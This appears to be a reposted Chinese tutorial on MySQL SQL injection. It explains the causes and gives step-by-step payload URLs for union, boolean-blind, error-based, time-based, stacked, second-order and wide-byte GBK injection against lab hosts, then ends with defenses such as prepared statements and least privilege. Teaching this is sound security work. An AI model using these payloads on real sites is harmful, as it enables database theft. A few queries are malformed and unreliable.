Skip to content

SQL注入

中文名 sql注入 外文名 Sql Inject
类 型 参数 类 别 平台层注入、代码层注入

sql注入原理

SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。 举例说明: id=GET[‘id’] sql=SELECT * FROM users WHERE id=id LIMIT 0,1

SQL 注入漏洞产生的条件

  1. A参数用户可控:前端传入的参数内容由用户控制
  2. B:参数带入数据库的查询:传入的参数拼接到 SQL 语句,并且带入数据库的查询

关于数据库

  • 在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是 schemata,tables,columns。
  • Schemata 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name。
  • Tables 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name.
  • Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name。

数据库查询语句

  1. 数据库查询语句如下: 想要查询的值 A = select 所属字段名 A from 所属表名 where 对应字段名 B = 值 B。关于几个表的一些语法:

    // 通过这条语句可以得到所有的数据库名
    select schema_name from information_schema.schemata limit 0,1;
    
    // 通过这条语句可以得到所有的数据表名
    select table_name from information_schema.tables limit 0,1;
    
    // 通过这条语句可以得到指定security数据库中的所有表名
    select table_name from information_schema.tables where table_schema='security'limit 0,1;
    
    // 通过这条语句可以得到所有的列名
    select column_name from information_schema.columns limit 0,1;
    
    // 通过这条语句可以得到指定数据库security中的数据表users的所有列名
    select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1;
    
    // 通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
    select password from users limit 0,1;
    

  2. Limit 的用法 Limit 的使用格式是 limit m,n,其中 m 指的是记录开始的位置,从 m=0 开始,表示第一条记录; n 是指取几条记录。

  3. 需要记住的几个函数

    • Version(): 当前 mysql 的版本
    • Database(): 当前网站使用的数据库
    • User(): 当前 MySQL 的用户
    • system_user(): 系统用户名
    • session_user(): 连接数据库的用户名
    • current_user: 当前用户名
    • load_file(): 读取本地文件
    • length(str): 返回给定字符串的长度,如 length(“string”)=6
    • substr(string,start,length): 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese” , 3 , 2)=“in” substr()、stbstring()、mid() 三个函数的用法、功能均一致
    • concat(username): 将查询到的username连在一起,默认用逗号分隔
    • concat(str1,’’,str2): 将字符串str1和str2的数据查询到一起,中间用连接
    • group_concat(username): 将username数据查询在一起,用逗号连接
  4. 三种注释符号

    • #
    • 空格 空格可以使用+代替 (url 编码 %23 表示注释)
    • /**/

sql注入漏洞攻击流程:注入点探测—信息获取—获取权限

sql注入的类型介绍

按照注入点类型来分类

数字型注入点

类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where id=1 and 1=1

字符型注入点

类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where name='admin' and 1=1 ' 
我们需要将这些烦人的引号给处理掉。

搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

按照数据提交的方式来分类

GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接 http://xxx.com/news.php?id=1 , id 是注入点。

POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

按照执行效果来分类

基于布尔的盲注

即可以根据返回页面判断条件真假的注入。

基于时间的盲注

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

基于报错注入

即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

单引号

双引号

基于数字型注入

联合查询注入

可以使用union的情况下的注入

堆查询注入

可以同时执行多条语句的执行时的注入

宽字节注入

宽字节注入主要是源于程序员设置数据库编码与 php 编码设置为不同的两个编码,这样就可能会产 生宽字节注入。GBK 占用两字节,ASCII 占用一字节。PHP 中编码为 GBK,函数执行添加的是 ASCII 编码(添加的符号为‚\‛),MYSQL 默认字符集是 GBK 等宽字节字符集。 输入%df%27,本来 会转义%27(’),但\(其中\的十六进制是 %5C)的编码位数为 92,%df 的 编码位数为 223,%df%5c 符合 gbk 取值范围(第一个字节 129-254,第二个字节 64-254),会解析 为一个汉字‚運‛,这样\就会失去应有的作用

sql漏洞探测方法

一般来说,SQL 注入一般存在于形如:http://xxx.xxx.xxx/abc.asp?id=XX 等带有参数的 ASP 动态网页中,有时一个动态网页中可能只有一个参数,有时可能有 N 个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入。

  1. 先加单引号’、双引号"、等看看是否报错,如果报错就可能存在SQL注入漏洞了。
  2. 还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
  3. 还有就是Timing Attack测试,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。

sql注入实例

union联合查询

union联合、合并:将多条查询语句的结果合并成一个结果,union 注入攻击为一种手工测试。 
注入思路:
A: 判断是否存在注入点http://xxxxxxxxx?id=1 
        `1'` 异常 1 and 1=1  返回结果和 id=1 一样 
        1 and 1=2  异常 
        从而则一定存在 SQL 注入漏洞
B: order by 1-99 语句来查询该数据表的字段数
C: 利用获得的列数使用联合查询,union select 与前面的字段数一样
        找到了数据呈现的位置http://xxxxxxx?id=1 union select 1,2,3,4,5,6 
D: 根据显示内容确定查询语句的位置,利用 information_schema 
        依次进行查询 schemata tablescolumns 
E: 已知库名、表名和字段名,接下来就爆数据

boolean注入

判断方式:
通过长度判断 length(): length(database())>=x
通过字符判断 substr():substr(database() ,1,1)= 's'
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x 
注入漏洞判断:
1. `id=1'`   报错 
2. id=1 and 1=1  结果和 id=1 一样
3. id=1 and 1=2  结果异常
攻击实战:

Boolean 注入是指构造 SQL 判断语句,通过查看页面的返回结果来推测哪些 SQL 判断条件是成立的,以此来获取数据库中的数据。

A:判断数据库名的长度 http://xxxxxx?id=1' and length(database())>=1--+  从而判 断数据库名的长度为 4
B:判断数据库名 Substr() 数据库库名 a~z,0~9 ‘and substr(database(),1,1)--+ 
C:Burp 判断数据库名 http://xxxxxxxx?id=1' and substr(database(),1,1)='a'--+ 逐字判断数据库名为 test,test 数据库名 
D:Burpsuite 爆破数据库的表名 http://xxxxxx?id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+ person     users   xss  //三个表
E:Burp 爆字段名 http://xxxxxxxx?id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+ id   username  password 等
F:获取数据 http://xxxxx?id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+ 

报错注入

在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错 误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete 都 可以使用报错来获取信息。常用的爆错函数 updatexml(),extractvalue(),floor() ,exp()

payload语法

updatexml(xml_document,Xpathstring,new_value) 
payload1updatexml(1,concat(0x7e,(select database()),0x7e),1)
payload2extractvalue(1,concat(0x7e,(select database())))
payload3(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)# 
攻击实战:
A:注入点探测及类型 a’制作报错,字符型 
B:利用函数 updatexml()获取数据库名 http://xxxxx?username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
C:利用函数 updatexml()获取表名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test'),0x7e),1)--+
D:利用函数 updatexml()获取字段名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'),0x7e),1)--+ 
E:利用函数 updatexml()获取值 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+ 

时间盲注

代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也 不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的 时长,来判断信息,这既是时间盲注。原理:利用 sleep()或 benchmark()等函数让 mysql 执行时间变长经常与 if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果 expr1 是 True,则返回 expr2,否则返回 expr3

特点:

通过时间回显的延迟作为判断 payload=1’ and sleep(5)–+ 有延迟则考虑时间盲注

利用 sleep()或 benchmark()函数延长 mysql 的执行时间

与 if()搭配使用

常用函数

  • left(m,n) --从左向右截取字符串 m 返回其前 n 位
  • substr(m,1,1) --取字符串 m 的左边第一位起,1 字长的字符串
  • ascii(m) --返回字符 m 的 ASCII 码
  • base64(m)—返回字符 m 的 base64 编码 • if(str1,str2,str3)–如果 str1 正确就执行 str2,否则执行 str3
  • sleep(m)–使程序暂停 m 秒
  • length(m) --返回字符串 m 的长度
  • count(column_name) --返回指定列的值的数目

payload:if(expr1,expr2,expr3) 语义解析 :

对 expr1 进行布尔判断,如果为真,则执行 expr2,如果为假,则执行 expr3 常用 payload: If(length(database())>1,sleep(5),1) 如果数据库名字符长度大于 1 为真,mysql 休眠 5 秒,如果为假则查询 1。而查询 1 的结果,大约只有几十毫秒,根据 Burp Suite 中页面的响应 时间,可以判断条件是否正确

攻击实战:

判断数据库名的长度
 http://xxxxxx?id=1 and if(length(database())>=6,sleep(5),1) 
爆库名
 http://xxxxxxx?id=1 and if(substr(database(),1,1)='a',sleep(5),1)   数据库名为 test 
爆表名
 http://xxxxxxx?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(5),1)  表名 
爆字段
  http://xxxxxxx?id=1 and if(substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a',sleep(5),1)  
爆数据 
 http://xxxxxxxxxx?id=1 and if(substr(select username from test.users limit 0,1),1,1)='a',sleep(5),1) 由于数据库名的范围一般在 a~z,0~9,特殊字符,大小写等

堆叠查询注入

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条) 一起执行。而在真实的运用中也是这样的,在 mysql 中,主要是命令行中,每一 条语句结尾加 ;表示语句结束。这样我们就想到了多条语句一起使用。

使用条件

堆叠注入的使用条件十分有限,其可能受到 API 或者数据库引擎,又或者权限的限制只有 当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query()函数就支持多条 sql 语句同时执行,但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所 以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

攻击构造

正常 sql 语句:Select * from users where id=’1’’;

注入 sql 语 句 : Select * from users where id=’1’;select if(length(database())>5,sleep(5),1)%23; Payload= ‘;select if(length(database())>5,sleep(5),1)%23 Payload= ‘;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23 如此句:从堆叠注 入语句中可以看出,第二条 SQL 语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23 就是时间盲注的语句。

堆叠注入和 union 的区别在于,union 后只能跟 select,而堆叠后面可以使用 insert,update,create,delete 等常规数据库语句。

攻击实例
爆库名:test http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr(database(),1,1)='a',sleep(5),1)
爆表名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(5),1) 
爆字段名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select column_name from information_schema.columns where table_schema='test' where table_name='user' limit 0,1),1,1)='a',sleep(5),1) 
爆值 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select username from test.users limit 0,1),1,1)='a',sleep(5),1) 

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义 处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 Web 程序调 用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。

两个条件

  • 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原 来的数据。
  • 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没 有进行进一步的检验的处理。

攻击实例

练习地址:http://sqli/Less-24 知道用户 Admin 但是不知道密码
注册一个 admin#用户
修改 admin#的密码
Update users set password=new_passwhere username=admin#and password=123456
实际上 Update users set password=new_passwhere username=admin

宽字节注入

宽字节注入主要是源于程序员设置数据库编码与 php 编码设置为不同的两个编码,这样就可能会产 生宽字节注入。GBK 占用两字节,ASCII 占用一字节。PHP 中编码为 GBK,函数执行添加的是 ASCII 编码(添加的符号为‚\‛),MYSQL 默认字符集是 GBK 等宽字节字符集。 输入%df%27,本来 会转义%27(’),但\(其中\的十六进制是 %5C)的编码位数为 92,%df 的 编码位数为 223,%df%5c 符合 gbk 取值范围(第一个字节 129-254,第二个字节 64-254),会解析 为一个汉字‚運‛,这样\就会是去应有的作用。 id=1’ id=1%df%5c’

攻击实例

127.0.0.1/web/sql/kuanzifu.php?id=1 
127.0.0.1/web/sql/kuanzifu.php?id=1 
127.0.0.1/web/sql/kuanzifu.php?id=1%df
 从返回的结果可以看出,参数 id=1 在数据库查询是被单引号包围的。当传入参数 id=1’时, 传入的单引号又被转义符(反斜线)转义,导致参数 ID 无法逃逸单引号的包围,所以在一般情况下, 此处是不存在 SQL 注入漏洞的。不过有一个特例,就是当数据库的编码为 GBK 时,可以使用宽字节 注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在 GBK 编码 中,%df%5c 是繁体字連,所以这时,单引号成功逃逸,爆出 Mysql 数据库错误。
  %df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>'
   $sql="SELECT * FROM users WHERE id='1 '' LIMIT 0,1"; #成功将单引号闭合,可以进行 SQL 注入。
    判断数据库表有 6 个字段数 http://127.0.0.1/web/sql/kuanzifu.php?id=1%df%27%20order%20by%207--+
     http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df%27%20union%20select%201,2,3,4,5,6--+ 
    爆库名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df%27%20union%20select%201,2,3,(databas e()),5,6--+
    爆表名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),5,6%23
    爆字段名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 1,1)),5,6%23 

如何正确的防御sql注入

既然sql注入的危害如此之大,我们应该怎么正确的防御呢?从防御的角度来看,要做的事情有两件: 1. 找到所有的sql注入漏洞 2. 修补这些漏洞

sql注入的防御并不是一件简单的事情,之前我也上网查资料,大多数采取的办法也是最简单粗暴的办法就是 对用户的输入做一些escape处理,但这是不够的。这种基于黑名单的方法或多或少都存在一些问题。(在sql保留字中,用户提交的正常数据也有可能会使用这些单词,从而对用户的正常数据进行了误杀)

如何正确的防御呢?

  1. 使用预编译语句,绑定变量

    • 使用预编译的sql语句,sql语句的语意不会发生改变。在sql语句中,变量用?表示,攻击者无法改变sql语句的结构。
  2. 使用存储过程

    • 使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。但需要注意的是,存储过程也可能存在注入问题,因此应该尽量避免在存储过程内使用动态的sql语句
  3. 检查数据类型

    • 检查数据的输入类型,在很大程度上可以对抗sql注入。比如用户在输入邮箱时,必须严格按照邮箱的格式;输入时间、日期时,必须严格按照时间、日期的格式等等,都能避免用户数据造成破坏。但数据类型检查并非万能的,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方法防范sql注入。
  4. 使用安全函数

    • 一般来说,各种web语言都实现了一些编码函数,可以帮助对抗sql注入。数据库厂商也对安全的编码函数做了“指导”。

最后呢,从数据库自身的角度来说,应该使用最小权限远侧,避免web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。 总结一下,注入攻击就是应用违背了“数据与代码分离原则”导致的结果。再次强调两个条件:a:用户能够控制数据的输入;b:代码拼凑了用户输入的数据,把数据当做代码执行了。在对抗注入攻击的时候,要牢记“数据与代码分离原则”,在“拼凑”发生的地方进行安全检查,就能避免此类问题。





转自《sql注入绕过技术分析》